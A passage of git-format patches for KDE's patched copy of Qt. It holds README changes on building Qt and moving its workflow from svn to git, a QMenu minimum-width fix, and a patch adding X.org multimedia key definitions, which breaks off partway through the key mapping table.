+To build and install the documentation, run:
+
+   make docs
+   ./config.status
+   make install
+
+It is necessary to do this once only, even if you rebuild Qt later.
+
+7. Using Qt uninstalled
+=======================
+
+To use without having to install it, configure it as follows:
+
+   ./configure <other configure options>  -prefix $PWD
+   make sub-src
+   make sub-tools
+
+Attention: DO NOT run
+
+   make install
+
+If you do, Qt will overwrite your include/ directory with its
+installation.
+
+8. Creating Qt-copy patches
+===========================
+
+If you have fixed a bug in Qt or modified it in any way that may
+benefit others, please share your change in the form of a patch. Do
+not commit your changes directly to the qt-copy module because they
+may be lost in a future update if they have not been added to the
+official Qt release.
+
+The exception to the above rule is that if the fix has been accepted
+by Qt Software (and so will appear in the next release of Qt), then
+it can be applied directly to qt-copy.  In this case, the patch
+should still be placed in patches/ as usual, but it should have a
+header line
+    Applied: yes
+
+Before creating a patch, it is recommended to contact Qt Software
+support via qt-bugs at trolltech.com and explain the situation. There may
+be a solution for the problem already or a new direction that should
+be accounted for.
+
+To create a patch, do the following:
+  a) make sure your Qt sources are clean of other changes. Run:
+     svn revert -R .
+  b) make your changes to the Qt source code and verify that it
+  compiles, links and works.
+  c) open the patches/README file and get the next patch number
+  (you must read and understand the README file; if you don't, ask for
+  help from other KDE developers)
+  d) create the patch with:
+     svn diff > patches/NNNN-short-description-of-your-patch.diff
+  where NNNN is the next available number.
+  e) open the file you've just created and add the header to it. The
+  header should be the template in patches/README followed by a longer
+  description of your patch.
+
+Don't forget to submit your patch to qt-bugs at trolltech.com along with
+the long description of the issue found, if you haven't already.
+Qt Software does not monitor the patches/ directory, so qt-copy
+patches do not get automatically applied to Qt official releases.
+
+When you receive the issue number and task tracker numbers, update the
+patch file.
+
+9. Known issues with current Qt code
+====================================
+
+In case you have strange issues with non-resizing windows and similar, use
+   export QT_USE_NATIVE_WINDOWS=1
+before starting KDE.
+
+10. Troubleshooting: Re-configuring and re-compiling
+===================================================
+
+For those updating the source in a directory where Qt has already
+been compiled, you may need to run the following commands from the
+top directory of your Qt sources:
+
+	find . -name '*.moc' | xargs rm
+
+Sometimes ./configure will refuse to run.  You may need to:
+	rm .qmake.cache
+
+If you think you may have run "make install" on an install-less Qt
+(srcdir == $QTDIR), run:
+
+	svn revert -R include
-- 
1.6.2.5


0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch:
 README.kde-qt |  164 +++++++++++++++++++++++++++++++---------------------------
 1 file changed, 88 insertions(+), 76 deletions(-)

--- NEW FILE 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch ---
>From 39b24a10e4dee27357b9760b735c2ab98b132963 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:46:54 -0300
Subject: [PATCH 11/18] Update this file to reflect the workflow with Git, as well as use Git commands

---
 README.kde-qt |  163 +++++++++++++++++++++++++++++++--------------------------
 1 files changed, 88 insertions(+), 75 deletions(-)

diff --git a/README.kde-qt b/README.kde-qt
index f605a0b..db3feb6 100644
--- a/README.kde-qt
+++ b/README.kde-qt
@@ -1,27 +1,20 @@
-This is a copy of Qt version 4.5.1.  It may include
-modifications which are necessary for KDE; these are listed in the
-patches directory.
+This is a patched version of Qt.  It may include changes made by KDE
+and Qt developers that have either not been accepted for inclusion
+into Qt, or have been accepted for a later version of Qt than this
+one.
 
-1. Qt-copy patches
-==================
-
-You may also consider running the apply_patches script before configuring qt-copy,
-which will apply all not yet applied patches from the patches/ directory that
-are considered safe (they mostly include optimizations and features that don't
-add new API). Note that most of those patches haven't been accepted
-by Qt Software yet. and therefore they'll make your qt-copy differ from official
-Qt version.
-
-2. Configuring Qt
+1. Configuring Qt
 =================
 
 The recommended compile line is:
 
 --default-config-begin--
-./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
-   -system-libpng -system-libjpeg -system-zlib \
-   -dbus -webkit -no-phonon -plugin-sql-mysql \
-   -nomake examples -nomake demos -prefix <installdir>
+
+  ./configure -qt-gif -debug -fast -no-separate-debug-info \
+     -system-libpng -system-libjpeg -system-zlib \
+     -dbus -webkit -plugin-sql-mysql \
+     -nomake examples -nomake demos -prefix <installdir>
+
 --default-config-end--
 
 It contains "-debug", which greatly improves the use for backtraces (but
@@ -31,6 +24,7 @@ release mode, replace it with "-release".
 It also contains "-no-separate-debug-info", which disables separate .debug
 files. Instead, the debug information will be built into the libraries.
 This option is needed when you install Qt.
+
 If you don't install Qt, it can be useful to disable this option,
 thus having separate debug symbol files. With separate debug files, you can
 just move those debug files to another directory to remove Qt debug symbols.
@@ -41,17 +35,11 @@ In the rare case you need to step into Qt code, you can temporarily enable
 debug symbols again by moving the debug files back. You can even load the Qt
 debug symbols from within GDB on demand, using the "symbol-file" command.
 
-It also contains the "-no-exceptions" argument, which disables C++
-exception support. Disabling exception support may improve memory
-consumption if GCC is being used. However, that also disables the
-QtXmlPatterns module since that requires exception support. If you
-plan on using that module, remove the option.
-
 If you are planning to compile Qt using an Icecream cluster you have to
 pass the option -no-pch (no precompiled headers) to configure to make
 distributed compilation work.
 
-3. Compiling Qt
+2. Compiling Qt
 ===============
 
 To compile Qt on a Unix platform, run:
@@ -65,34 +53,49 @@ increasing the "2" above. If you've got a compile farm available, you
 should adjust the -j argument to match the number of slots in that
 farm.
 
-4. Modifying & rebuilding Qt
+3. Modifying & rebuilding Qt
 ============================
 
 If you make modifications to the Qt source code, you don't need to
 build everything again. Simply go to the directory containing the
 Makefile closest to the files you changed and run "make" again.
 
-For example, if you modified src/corelib/io/qiodevice.cpp, do:
+For example, if you've modified src/corelib/io/qiodevice.cpp, do:
 
    cd src/corelib
    make
 
-Do not commit your modifications to qt-copy as such. If you have a fix
-that benefit others, see the "Creating Qt-copy patches" section below.
+If you make a change that is not temporary, you should create a Git
+commit out of it. However, you shouldn't push those changes to
+kde-qt.git. If you have a fix that benefit others, see the "Creating
+kde-qt.git modifications" section below.
 
-5. Building Qt examples and demos
+4. Building Qt examples and demos
 =================================
 
 The "-nomake examples -nomake demos" arguments to the configure script
-mean that those two sections will not be configured for
-building. Which is unneeded for usage of the library.  If you want to
-compile the examples or demos later; just enter either directory and
-type:
+mean that those two sections will not be configured for building,
+which is unneeded for usage of the library.  If you want to compile
+the examples or demos later, just enter either directory and type:
 
    qmake
    make
 
-6. Building Qt documentation (only applies to Snapshot versions of Qt)
+5. Build Qt tests
+=================
+
+(Official information: http://qt.gitorious.org/qt/pages/QtAutotestsEnvironment)
+
+In order to run Qt tests, you must have a "developer build" of Qt. For
+that, you need to reconfigure Qt and add the "-developer-build"
+option. That option is technically equivalent to the options:
+
+   -debug -prefix $PWD -DQT_BUILD_INTERNAL
+
+To run a test, go to its source dir in tests/auto/testname. Type
+"make" to build it, then run it (either ./tst_testname, or "make install").
+
+6. Building Qt documentation
 ============================
 
 To build and install the documentation, run:
@@ -119,21 +122,25 @@ Attention: DO NOT run
 If you do, Qt will overwrite your include/ directory with its
 installation.
 
-8. Creating Qt-copy patches
-===========================
+8. Creating kde-qt.git modifications
+====================================
 
 If you have fixed a bug in Qt or modified it in any way that may
 benefit others, please share your change in the form of a patch. Do
-not commit your changes directly to the qt-copy module because they
+not commit your changes directly to the main branch because they
 may be lost in a future update if they have not been added to the
 official Qt release.
 
 The exception to the above rule is that if the fix has been accepted
-by Qt Software (and so will appear in the next release of Qt), then
-it can be applied directly to qt-copy.  In this case, the patch
-should still be placed in patches/ as usual, but it should have a
-header line
-    Applied: yes
+by Qt Software (and so will appear in the very next release of Qt),
+then it should be simply cherry-picked from the Qt development
+branch. Note that you shouldn't do this for changes that have been
+accepted into a release which is not the very next.
+In this case, you should use the following command:
+
+   git cherry-pick -x SHA1_OF_THE_FIX
+where SHA1_OF_THE_FIX is the SHA-1 of the commit that you want to
+introduce. Then push the change to the server.
 
 Before creating a patch, it is recommended to contact Qt Software
 support via qt-bugs at trolltech.com and explain the situation. There may
@@ -141,37 +148,42 @@ be a solution for the problem already or a new direction that should
 be accounted for.
 
 To create a patch, do the following:
-  a) make sure your Qt sources are clean of other changes. Run:
-     svn revert -R .
-  b) make your changes to the Qt source code and verify that it
-  compiles, links and works.
-  c) open the patches/README file and get the next patch number
-  (you must read and understand the README file; if you don't, ask for
-  help from other KDE developers)
-  d) create the patch with:
-     svn diff > patches/NNNN-short-description-of-your-patch.diff
-  where NNNN is the next available number.
-  e) open the file you've just created and add the header to it. The
-  header should be the template in patches/README followed by a longer
-  description of your patch.
-
-Don't forget to submit your patch to qt-bugs at trolltech.com along with
-the long description of the issue found, if you haven't already.
-Qt Software does not monitor the patches/ directory, so qt-copy
-patches do not get automatically applied to Qt official releases.
-
-When you receive the issue number and task tracker numbers, update the
-patch file.
-
-9. Known issues with current Qt code
-====================================
-
-In case you have strange issues with non-resizing windows and similar, use
-   export QT_USE_NATIVE_WINDOWS=1
-before starting KDE.
-
-10. Troubleshooting: Re-configuring and re-compiling
-===================================================
+  a) look at the listing of branches in
+  http://qt.gitorious.org/+kde-developers/qt/kde-qt/commits/HEAD and
+  select the next number.
+
+  b) create a new branch out of a clean, released version of Qt, (for
+  example, 4.5.1), using the number above and a brief description of
+  your fix. For example:
+      git checkout -b patches/0180-window-role v4.5.1
+  You can see the available released versions of Qt with:
+      git tag
+
+  c) make your changes to the Qt source code and verify that it
+  compiles, links and works (please run the respective unit tests).
+
+  c) commit your changes to Git, using the "git commit" command. Please
+  see http://qt.gitorious.org/qt/pages/GitIntroductionWithQt and
+  http://qt.gitorious.org/qt/pages/QtCodingStyle for information on
+  how to create commits
+  Note that you can create multiple commits.
+
+  e) merge the change to the main branch, for example, 4.5.1-patched:
+      git checkout 4.5.1-patched
+      git merge patches/0180-window-role
+
+  f) push the changes you made to your branch and to the main server:
+      git push git at gitorious.org:qt/kde-qt.git 4.5.1-patched patches/0180-window-role
+  (Don't forget to list both branch names)
+
+Don't forget to submit your patch to using the Qt Contribution Model,
+along with the long description of the issue found. See
+http://qt.gitorious.org/qt/pages/QtContributionGuidelines for
+information how. You can submit the branch you've just sent to the
+server.
+
+9. Troubleshooting: Re-configuring and re-compiling
+==================================================
 
 For those updating the source in a directory where Qt has already
 been compiled, you may need to run the following commands from the
@@ -185,4 +197,5 @@ Sometimes ./configure will refuse to run.  You may need to:
 If you think you may have run "make install" on an install-less Qt
 (srcdir == $QTDIR), run:
 
-	svn revert -R include
+	rm -rf include
+	bin/syncqt
-- 
1.6.2.5


0015-Make-QMenu-respect-the-minimum-width-set.patch:
 qmenu.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0015-Make-QMenu-respect-the-minimum-width-set.patch ---
>From 01f26d0756839fbe783c637ca7dec5b7987f7e14 Mon Sep 17 00:00:00 2001
From: Aaron Seigo <aseigo at kde.org>
Date: Mon, 27 Jul 2009 21:46:22 -0600
Subject: [PATCH 15/18] Make QMenu respect the minimum width set

If one sets a minimum width on a QMenu and that size is larger than the
smallest size needed by the large menu item, it ignores the minimum
width and just uses the largest menu item size.

This results in ugly painting artifacts. This currently affects
(at least) the tasks widget in Plasma in KDE4.
---
 src/gui/widgets/qmenu.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp
index 9fbbb04..5d62ea6 100644
--- a/src/gui/widgets/qmenu.cpp
+++ b/src/gui/widgets/qmenu.cpp
@@ -280,7 +280,7 @@ void QMenuPrivate::calcActionRects(QMap<QAction*, QRect> &actionRects, QList<QAc
 
 
         if (!sz.isEmpty()) {
-            max_column_width = qMax(max_column_width, sz.width());
+            max_column_width = qMax(q->minimumWidth(), qMax(max_column_width, sz.width()));
             //wrapping
             if (!scroll &&
                y+sz.height()+vmargin > dh - (q->style()->pixelMetric(QStyle::PM_MenuDesktopFrameWidth, 0, q) * 2)) {
-- 
1.6.2.5


0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch:
 corelib/global/qnamespace.h   |   97 +++++++++++++-
 gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++++++--------
 gui/kernel/qkeysequence.cpp   |  175 +++++++++++++++++++------
 3 files changed, 461 insertions(+), 97 deletions(-)

--- NEW FILE 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch ---
>From 1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a Mon Sep 17 00:00:00 2001
From: Helio Chissini de Castro <helio at kde.org>
Date: Fri, 10 Jul 2009 16:00:13 -0300
Subject: [PATCH 16/18] Fill gap of X.org/XFree multimedia/special/launcher keys
 Qt up to 4.5.x is missing whole setup of multimedia keys already defined by X

---
 src/corelib/global/qnamespace.h   |   97 ++++++++++++-
 src/gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++-------
 src/gui/kernel/qkeysequence.cpp   |  174 +++++++++++++++++------
 3 files changed, 461 insertions(+), 96 deletions(-)

diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 3edbca7..ddf27a8 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -895,12 +895,10 @@ public:
         Key_Dead_Horn           = 0x01001262,
 
         // multimedia/internet keys - ignored by default - see QKeyEvent c'tor
-
         Key_Back  = 0x01000061,
         Key_Forward  = 0x01000062,
         Key_Stop  = 0x01000063,
         Key_Refresh  = 0x01000064,
-
         Key_VolumeDown = 0x01000070,
         Key_VolumeMute  = 0x01000071,
         Key_VolumeUp = 0x01000072,
@@ -909,7 +907,6 @@ public:
         Key_BassDown = 0x01000075,
         Key_TrebleUp = 0x01000076,
         Key_TrebleDown = 0x01000077,
-
         Key_MediaPlay  = 0x01000080,
         Key_MediaStop  = 0x01000081,
         Key_MediaPrevious  = 0x01000082,
@@ -918,13 +915,11 @@ public:
 #endif
         Key_MediaNext  = 0x01000083,
         Key_MediaRecord = 0x01000084,
-
         Key_HomePage  = 0x01000090,
         Key_Favorites  = 0x01000091,
         Key_Search  = 0x01000092,
         Key_Standby = 0x01000093,
         Key_OpenUrl = 0x01000094,
-
         Key_LaunchMail  = 0x010000a0,
         Key_LaunchMedia = 0x010000a1,
         Key_Launch0  = 0x010000a2,
@@ -943,6 +938,98 @@ public:
         Key_LaunchD  = 0x010000af,
         Key_LaunchE  = 0x010000b0,
         Key_LaunchF  = 0x010000b1,
+        Key_MonBrightnessUp = 0x010000b2,
+        Key_MonBrightnessDown = 0x010000b3,
+        Key_KeyboardLightOnOff = 0x010000b4,
+        Key_KeyboardBrightnessUp = 0x010000b5,
+        Key_KeyboardBrightnessDown = 0x010000b6,
+        Key_PowerOff = 0x010000b7,
+        Key_WakeUp = 0x010000b8,
+        Key_Eject = 0x010000b9,
+        Key_ScreenSaver = 0x010000ba,
+        Key_WWW = 0x010000bb,
+        Key_Memo = 0x010000bc,
+        Key_LightBulb = 0x010000bd,
+        Key_Shop = 0x010000be,
+        Key_History = 0x010000bf,
+        Key_AddFavorite = 0x010000c0,
+        Key_HotLinks = 0x010000c1,
+        Key_BrightnessAdjust = 0x010000c2,
+        Key_Finance = 0x010000c3,
+        Key_Community = 0x010000c4,
+        Key_AudioRewind = 0x010000c5,
+        Key_BackForward = 0x010000c6,
+        Key_ApplicationLeft = 0x010000c7,
+        Key_ApplicationRight = 0x010000c8,
+        Key_Book = 0x010000c9,
+        Key_CD = 0x010000ca,
+        Key_Calculator = 0x010000cb,
+        Key_ToDoList = 0x010000cc,
+        Key_ClearGrab = 0x010000cd,
+        Key_Close = 0x010000ce,
+        Key_Copy = 0x010000cf,
+        Key_Cut = 0x010000d0,
+        Key_Display = 0x010000d1,
+        Key_DOS = 0x010000d2,
+        Key_Documents = 0x010000d3,
+        Key_Excel = 0x010000d4,
+        Key_Explorer = 0x010000d5,
+        Key_Game = 0x010000d6,
+        Key_Go = 0x010000d7,
+        Key_iTouch = 0x010000d8,
+        Key_LogOff = 0x010000d9,
+        Key_Market = 0x010000da,
+        Key_Meeting = 0x010000db,
+        Key_MenuKB = 0x010000dc,
+        Key_MenuPB = 0x010000dd,
+        Key_MySites = 0x010000de,
+        Key_News = 0x010000df,
+        Key_OfficeHome = 0x010000e0,
+        Key_Option = 0x010000e1,
+        Key_Paste = 0x010000e2,
+        Key_Phone = 0x010000e3,
+        Key_Calendar = 0x010000e4,
+        Key_Reply = 0x010000e5,
+        Key_Reload = 0x010000e6,
+        Key_RotateWindows = 0x010000e7,
+        Key_RotationPB = 0x010000e8,
+        Key_RotationKB = 0x010000e9,
+        Key_Save = 0x010000ea,
+        Key_Send = 0x010000eb,
+        Key_Spell = 0x010000ec,
+        Key_SplitScreen = 0x010000ed,
+        Key_Support = 0x010000ee,
+        Key_TaskPane = 0x010000ef,
+        Key_Terminal = 0x010000f0,
+        Key_Tools = 0x010000f1,
+        Key_Travel = 0x010000f2,
+        Key_Video = 0x010000f3,
+        Key_Word = 0x010000f4,
+        Key_Xfer = 0x010000f5,
+        Key_ZoomIn = 0x010000f6,
+        Key_ZoomOut = 0x010000f7,
+        Key_Away = 0x010000f8,
+        Key_Messenger = 0x010000f9,
+        Key_WebCam = 0x010000fa,
+        Key_MailForward = 0x010000fb,
+        Key_Pictures = 0x010000fc,
+        Key_Music = 0x010000fd,
+        Key_Battery = 0x010000fe,
+        Key_Bluetooth = 0x010000ff,
+        Key_WLAN = 0x01000100,
+        Key_UWB = 0x01000101,
+        Key_AudioForward = 0x01000102,
+        Key_AudioRepeat = 0x01000103,
+        Key_AudioRandomPlay = 0x01000104,
+        Key_Subtitle = 0x01000105,
+        Key_AudioCycleTrack = 0x01000106,
+        Key_Time = 0x01000107,
+        Key_Hibernate = 0x01000108,
+        Key_View = 0x01000109,
+        Key_TopMenu = 0x0100010a,
+        Key_PowerDown = 0x0100010b,
+        Key_Suspend = 0x0100010c,
+        Key_ContrastAdjust = 0x0100010d,
 
         Key_MediaLast = 0x0100ffff,
 
diff --git a/src/gui/kernel/qkeymapper_x11.cpp b/src/gui/kernel/qkeymapper_x11.cpp
index 98ed61c..f55b491 100644
--- a/src/gui/kernel/qkeymapper_x11.cpp
+++ b/src/gui/kernel/qkeymapper_x11.cpp
@@ -714,47 +714,144 @@ extern bool qt_sm_blockUserInput;
 #define XK_KP_Delete            0xFF9F
 #endif
 
-// the next lines are taken from XFree > 4.0 (X11/XF86keysyms.h), defining some special
+// the next lines are taken on 10/2009 from X.org (X11/XF86keysym.h), defining some special
 // multimedia keys. They are included here as not every system has them.
-#define XF86XK_Standby          0x1008FF10
-#define XF86XK_AudioLowerVolume 0x1008FF11
-#define XF86XK_AudioMute        0x1008FF12
-#define XF86XK_AudioRaiseVolume 0x1008FF13
-#define XF86XK_AudioPlay        0x1008FF14
-#define XF86XK_AudioStop        0x1008FF15
-#define XF86XK_AudioPrev        0x1008FF16
-#define XF86XK_AudioNext        0x1008FF17
-#define XF86XK_HomePage         0x1008FF18
-#define XF86XK_Calculator       0x1008FF1D
-#define XF86XK_Mail             0x1008FF19
-#define XF86XK_Start            0x1008FF1A
-#define XF86XK_Search           0x1008FF1B
-#define XF86XK_AudioRecord      0x1008FF1C
-#define XF86XK_Back             0x1008FF26
-#define XF86XK_Forward          0x1008FF27
-#define XF86XK_Stop             0x1008FF28
-#define XF86XK_Refresh          0x1008FF29
-#define XF86XK_Favorites        0x1008FF30
-#define XF86XK_AudioPause       0x1008FF31
-#define XF86XK_AudioMedia       0x1008FF32
-#define XF86XK_MyComputer       0x1008FF33
-#define XF86XK_OpenURL          0x1008FF38
-#define XF86XK_Launch0          0x1008FF40
-#define XF86XK_Launch1          0x1008FF41
-#define XF86XK_Launch2          0x1008FF42
-#define XF86XK_Launch3          0x1008FF43
-#define XF86XK_Launch4          0x1008FF44
-#define XF86XK_Launch5          0x1008FF45
-#define XF86XK_Launch6          0x1008FF46
-#define XF86XK_Launch7          0x1008FF47
-#define XF86XK_Launch8          0x1008FF48
-#define XF86XK_Launch9          0x1008FF49
-#define XF86XK_LaunchA          0x1008FF4A
-#define XF86XK_LaunchB          0x1008FF4B
-#define XF86XK_LaunchC          0x1008FF4C
-#define XF86XK_LaunchD          0x1008FF4D
-#define XF86XK_LaunchE          0x1008FF4E
-#define XF86XK_LaunchF          0x1008FF4F
+#define XF86XK_MonBrightnessUp     0x1008FF02
+#define XF86XK_MonBrightnessDown   0x1008FF03
+#define XF86XK_KbdLightOnOff       0x1008FF04
+#define XF86XK_KbdBrightnessUp     0x1008FF05
+#define XF86XK_KbdBrightnessDown   0x1008FF06
+#define XF86XK_Standby             0x1008FF10
+#define XF86XK_AudioLowerVolume	   0x1008FF11
+#define XF86XK_AudioMute           0x1008FF12
+#define XF86XK_AudioRaiseVolume    0x1008FF13
+#define XF86XK_AudioPlay           0x1008FF14
+#define XF86XK_AudioStop           0x1008FF15
+#define XF86XK_AudioPrev           0x1008FF16
+#define XF86XK_AudioNext           0x1008FF17
+#define XF86XK_HomePage            0x1008FF18
+#define XF86XK_Mail                0x1008FF19
+#define XF86XK_Start               0x1008FF1A
+#define XF86XK_Search              0x1008FF1B
+#define XF86XK_AudioRecord         0x1008FF1C
+#define XF86XK_Calculator          0x1008FF1D
+#define XF86XK_Memo                0x1008FF1E
+#define XF86XK_ToDoList            0x1008FF1F
+#define XF86XK_Calendar            0x1008FF20
+#define XF86XK_PowerDown           0x1008FF21
+#define XF86XK_ContrastAdjust      0x1008FF22
+#define XF86XK_Back                0x1008FF26
+#define XF86XK_Forward             0x1008FF27
+#define XF86XK_Stop                0x1008FF28
+#define XF86XK_Refresh             0x1008FF29
+#define XF86XK_PowerOff            0x1008FF2A
+#define XF86XK_WakeUp              0x1008FF2B
+#define XF86XK_Eject               0x1008FF2C
+#define XF86XK_ScreenSaver         0x1008FF2D
+#define XF86XK_WWW                 0x1008FF2E
+#define XF86XK_Sleep               0x1008FF2F
+#define XF86XK_Favorites           0x1008FF30
+#define XF86XK_AudioPause          0x1008FF31
+#define XF86XK_AudioMedia          0x1008FF32
+#define XF86XK_MyComputer          0x1008FF33
+#define XF86XK_LightBulb           0x1008FF35
+#define XF86XK_Shop                0x1008FF36
+#define XF86XK_History             0x1008FF37
+#define XF86XK_OpenURL             0x1008FF38
+#define XF86XK_AddFavorite         0x1008FF39
+#define XF86XK_HotLinks            0x1008FF3A
+#define XF86XK_BrightnessAdjust    0x1008FF3B
+#define XF86XK_Finance             0x1008FF3C
+#define XF86XK_Community           0x1008FF3D
+#define XF86XK_AudioRewind         0x1008FF3E
+#define XF86XK_BackForward         0x1008FF3F
+#define XF86XK_Launch0             0x1008FF40
+#define XF86XK_Launch1             0x1008FF41
+#define XF86XK_Launch2             0x1008FF42
+#define XF86XK_Launch3             0x1008FF43
+#define XF86XK_Launch4             0x1008FF44
+#define XF86XK_Launch5             0x1008FF45
+#define XF86XK_Launch6             0x1008FF46
+#define XF86XK_Launch7             0x1008FF47
+#define XF86XK_Launch8             0x1008FF48
+#define XF86XK_Launch9             0x1008FF49
+#define XF86XK_LaunchA             0x1008FF4A
+#define XF86XK_LaunchB             0x1008FF4B
+#define XF86XK_LaunchC             0x1008FF4C
+#define XF86XK_LaunchD             0x1008FF4D
+#define XF86XK_LaunchE             0x1008FF4E
+#define XF86XK_LaunchF             0x1008FF4F
+#define XF86XK_ApplicationLeft     0x1008FF50
+#define XF86XK_ApplicationRight    0x1008FF51
+#define XF86XK_Book                0x1008FF52
+#define XF86XK_CD                  0x1008FF53
+#define XF86XK_Calculater          0x1008FF54
+#define XF86XK_Clear               0x1008FF55
+#define XF86XK_ClearGrab           0x1008FE21
+#define XF86XK_Close               0x1008FF56
+#define XF86XK_Copy                0x1008FF57
+#define XF86XK_Cut                 0x1008FF58
+#define XF86XK_Display             0x1008FF59
+#define XF86XK_DOS                 0x1008FF5A
+#define XF86XK_Documents           0x1008FF5B
+#define XF86XK_Excel               0x1008FF5C
+#define XF86XK_Explorer            0x1008FF5D
+#define XF86XK_Game                0x1008FF5E
+#define XF86XK_Go                  0x1008FF5F
+#define XF86XK_iTouch              0x1008FF60
+#define XF86XK_LogOff              0x1008FF61
+#define XF86XK_Market              0x1008FF62
+#define XF86XK_Meeting             0x1008FF63
+#define XF86XK_MenuKB              0x1008FF65
+#define XF86XK_MenuPB              0x1008FF66
+#define XF86XK_MySites             0x1008FF67
+#define XF86XK_News                0x1008FF69
+#define XF86XK_OfficeHome          0x1008FF6A
+#define XF86XK_Option              0x1008FF6C
+#define XF86XK_Paste               0x1008FF6D
+#define XF86XK_Phone               0x1008FF6E
+#define XF86XK_Reply               0x1008FF72
+#define XF86XK_Reload              0x1008FF73
+#define XF86XK_RotateWindows       0x1008FF74
+#define XF86XK_RotationPB          0x1008FF75
+#define XF86XK_RotationKB          0x1008FF76
+#define XF86XK_Save                0x1008FF77
+#define XF86XK_Send                0x1008FF7B
+#define XF86XK_Spell               0x1008FF7C
+#define XF86XK_SplitScreen         0x1008FF7D
+#define XF86XK_Support             0x1008FF7E
+#define XF86XK_TaskPane            0x1008FF7F
+#define XF86XK_Terminal            0x1008FF80
+#define XF86XK_Tools               0x1008FF81
+#define XF86XK_Travel              0x1008FF82
+#define XF86XK_Video               0x1008FF87
+#define XF86XK_Word                0x1008FF89
+#define XF86XK_Xfer                0x1008FF8A
+#define XF86XK_ZoomIn              0x1008FF8B
+#define XF86XK_ZoomOut             0x1008FF8C
+#define XF86XK_Away                0x1008FF8D
+#define XF86XK_Messenger           0x1008FF8E
+#define XF86XK_WebCam              0x1008FF8F
+#define XF86XK_MailForward         0x1008FF90
+#define XF86XK_Pictures            0x1008FF91
+#define XF86XK_Music               0x1008FF92
+#define XF86XK_Battery             0x1008FF93
+#define XF86XK_Bluetooth           0x1008FF94
+#define XF86XK_WLAN                0x1008FF95
+#define XF86XK_UWB                 0x1008FF96
+#define XF86XK_AudioForward        0x1008FF97
+#define XF86XK_AudioRepeat         0x1008FF98
+#define XF86XK_AudioRandomPlay     0x1008FF99
+#define XF86XK_Subtitle            0x1008FF9A
+#define XF86XK_AudioCycleTrack     0x1008FF9B
+#define XF86XK_Time                0x1008FF9F
+#define XF86XK_Select              0x1008FFA0
+#define XF86XK_View                0x1008FFA1
+#define XF86XK_TopMenu             0x1008FFA2
+#define XF86XK_Suspend             0x1008FFA7
+#define XF86XK_Hibernate           0x1008FFA8
+
+
 // end of XF86keysyms.h
 
 // Special keys used by Qtopia, mapped into the X11 private keypad range.
@@ -942,10 +1039,8 @@ static const unsigned int KeyTbl[] = {
     XK_dead_hook,               Qt::Key_Dead_Hook,
     XK_dead_horn,               Qt::Key_Dead_Horn,
 
-    // Special multimedia keys
-    // currently only tested with MS internet keyboard
-
-    // browsing keys
+    // Special keys from X.org - This include multimedia keys,
+	// wireless/bluetooth/uwb keys, special launcher keys, etc.
     XF86XK_Back,                Qt::Key_Back,
     XF86XK_Forward,             Qt::Key_Forward,
     XF86XK_Stop,                Qt::Key_Stop,
@@ -955,8 +1050,6 @@ static const unsigned int KeyTbl[] = {
     XF86XK_OpenURL,             Qt::Key_OpenUrl,
     XF86XK_HomePage,            Qt::Key_HomePage,
     XF86XK_Search,              Qt::Key_Search,
-
-    // media keys
     XF86XK_AudioLowerVolume,    Qt::Key_VolumeDown,
     XF86XK_AudioMute,           Qt::Key_VolumeMute,
     XF86XK_AudioRaiseVolume,    Qt::Key_VolumeUp,
@@ -965,13 +1058,106 @@ static const unsigned int KeyTbl[] = {
     XF86XK_AudioPrev,           Qt::Key_MediaPrevious,
     XF86XK_AudioNext,           Qt::Key_MediaNext,
     XF86XK_AudioRecord,         Qt::Key_MediaRecord,
-
-    // launch keys
     XF86XK_Mail,                Qt::Key_LaunchMail,
     XF86XK_MyComputer,          Qt::Key_Launch0,
-    XF86XK_Calculator,          Qt::Key_Launch1,
+    XF86XK_Calculator,          Qt::Key_Calculator,
+    XF86XK_Memo,                Qt::Key_Memo,
+    XF86XK_ToDoList,            Qt::Key_ToDoList,
+    XF86XK_Calendar,            Qt::Key_Calendar,
+    XF86XK_PowerDown,           Qt::Key_PowerDown,
+    XF86XK_ContrastAdjust,      Qt::Key_ContrastAdjust,
     XF86XK_Standby,             Qt::Key_Standby,
-
+    XF86XK_MonBrightnessUp,     Qt::Key_MonBrightnessUp,
+    XF86XK_MonBrightnessDown,   Qt::Key_MonBrightnessDown,
+    XF86XK_KbdLightOnOff,       Qt::Key_KeyboardLightOnOff,
+    XF86XK_KbdBrightnessUp,     Qt::Key_KeyboardBrightnessUp,
+    XF86XK_KbdBrightnessDown,   Qt::Key_KeyboardBrightnessDown,
+    XF86XK_PowerOff,            Qt::Key_PowerOff,
+    XF86XK_WakeUp,              Qt::Key_WakeUp,
+    XF86XK_Eject,               Qt::Key_Eject,
+    XF86XK_ScreenSaver,         Qt::Key_ScreenSaver,
+    XF86XK_WWW,                 Qt::Key_WWW,
+    XF86XK_Sleep,               Qt::Key_Sleep,
+    XF86XK_LightBulb,           Qt::Key_LightBulb,
+    XF86XK_Shop,                Qt::Key_Shop,
+    XF86XK_History,             Qt::Key_History,
+    XF86XK_AddFavorite,         Qt::Key_AddFavorite,
+    XF86XK_HotLinks,            Qt::Key_HotLinks,
+    XF86XK_BrightnessAdjust,    Qt::Key_BrightnessAdjust,
+    XF86XK_Finance,             Qt::Key_Finance,
+    XF86XK_Community,           Qt::Key_Community,
+    XF86XK_AudioRewind,         Qt::Key_AudioRewind,
+    XF86XK_BackForward,         Qt::Key_BackForward,
+    XF86XK_ApplicationLeft,     Qt::Key_ApplicationLeft,
+    XF86XK_ApplicationRight,    Qt::Key_ApplicationRight,
+    XF86XK_Book,                Qt::Key_Book,
+    XF86XK_CD,                  Qt::Key_CD,
+    XF86XK_Calculater,          Qt::Key_Calculator,
+    XF86XK_Clear,               Qt::Key_Clear,
